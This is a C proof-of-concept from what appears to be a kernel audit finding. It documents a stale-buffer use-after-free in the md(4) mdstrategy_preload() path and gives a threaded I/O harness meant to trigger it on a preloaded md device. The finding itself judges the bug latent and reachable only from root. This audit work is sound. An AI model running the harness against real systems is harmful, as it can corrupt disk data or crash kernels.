DF-2476 / poc.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 | /* * DF-2476 PoC — concurrent I/O harness against an md(4) device. * * Bug (sys/dev/disk/md/md.c mdstrategy_preload, :345-400): * mdstrategy_preload() sets the local `struct buf *bp` exactly ONCE from * the initial ap->a_bio (:349) and never refreshes it inside the while(1) * service loop. Every iteration after the first reuses the ORIGINAL bp * while `bio`/`bio_offset` come from a *different* bio dequeued via * bioq_takefirst() (:372): * * 345 mdstrategy_preload(ap) { * 349 struct buf *bp = bio->bio_buf; // set ONCE, never refreshed * 371 while (1) { * 372 bio = bioq_takefirst(&sc->bio_queue); // new bio * 379 switch (bp->b_cmd) { ... } // STALE bp * 383 bcopy(sc->pl_ptr + bio->bio_offset, * 384 bp->b_data, bp->b_bcount); // STALE bp * 395 biodone(bio); * * The sibling mdstrategy_malloc() does it correctly: * 239 bp = bio->bio_buf; // refreshed each iteration * * When 2+ bios accumulate in sc->bio_queue (concurrent I/O while * sc->busy is set), iteration >=2 dereferences the first request's bp * AFTER biodone() has been called on it. physio may have already freed / * returned that buf, so bp is a dangling pointer -> use-after-free. Even * before the free lands, the I/O is mis-targeted: bio2's offset is used * with bio1's b_data/b_bcount/b_cmd (data corruption / wrong-buffer). * * REACHABILITY / why this is a LATENT finding on the audit guest: * - mdcreate_preload() (:437) is called ONLY from md_drvinit() (:501) at * module load (boot). It consumes loader-preloaded images of type * "md_image"/"mfs_root" (preload_search_next_name, :513). There is NO * runtime ioctl to create a preload md: mdioctl() (:162) is a stub * returning ENOIOCTL, and mdconfig is not even installed on the guest. * - Therefore an md device of type MD_PRELOAD exists ONLY when the boot * loader preloaded an image. On the audit guest no image is preloaded: * dmesg shows "md0: Malloc disk" (mdcreate_malloc, :530), so md0 routes * through mdstrategy (the correct malloc variant) and NEVER enters * mdstrategy_preload. * - mdstrategy_preload is thus dead code at runtime on this guest. To * exercise it one must (a) be root, (b) reboot with a loader-preloaded * md image, and (c) drive concurrent I/O at the resulting device. This * is a root->kernel path with no unprivileged->root escalation. * * WHAT THIS HARNESS DOES: * Spawns N threads issuing overlapping read/write I/O at /dev/md<N>. On a * PRELOAD md device this races bios into sc->bio_queue and trips the stale * bp UAF. On the audit guest (md0 = Malloc disk) it instead exercises the * CORRECT mdstrategy_malloc path and must complete cleanly with no panic, * demonstrating that the buggy path is not the one in use. * * Build: cc -o poc poc.c -lpthread * Run (root, on a preload md to trigger; on md0 to show no-op): ./poc /dev/md0 */ #include <sys/types.h> #include <sys/ioctl.h> #include <fcntl.h> #include <pthread.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> static int g_fd; static volatile int g_stop; static void * worker(void *arg) { long idx = (long)arg; unsigned char buf[512]; off_t off = (idx * 97) % 32 * 512; /* spread across first 16 KiB */ memset(buf, (int)(idx + 1), sizeof(buf)); for (int i = 0; i < 200 && !g_stop; i++) { if (pwrite(g_fd, buf, sizeof(buf), off) != sizeof(buf)) perror("pwrite"); if (pread(g_fd, buf, sizeof(buf), off) != sizeof(buf)) perror("pread"); } return NULL; } int main(int argc, char **argv) { const char *dev = (argc > 1) ? argv[1] : "/dev/md0"; int nthread = (argc > 2) ? atoi(argv[2]) : 8; pthread_t th[64]; off_t mediasize = 0; long i; g_fd = open(dev, O_RDWR); if (g_fd < 0) { perror("open"); return 2; } #ifdef DIOCGMEDIASIZE if (ioctl(g_fd, DIOCGMEDIASIZE, &mediasize) == 0) printf("[*] %s media size = %lld bytes\n", dev, (long long)mediasize); #endif printf("[*] spawning %d concurrent I/O threads on %s\n", nthread, dev); for (i = 0; i < nthread; i++) pthread_create(&th[i], NULL, worker, (void *)i); for (i = 0; i < nthread; i++) pthread_join(th[i], NULL); printf("[+] all threads completed; device path returned cleanly\n"); close(g_fd); return 0; } |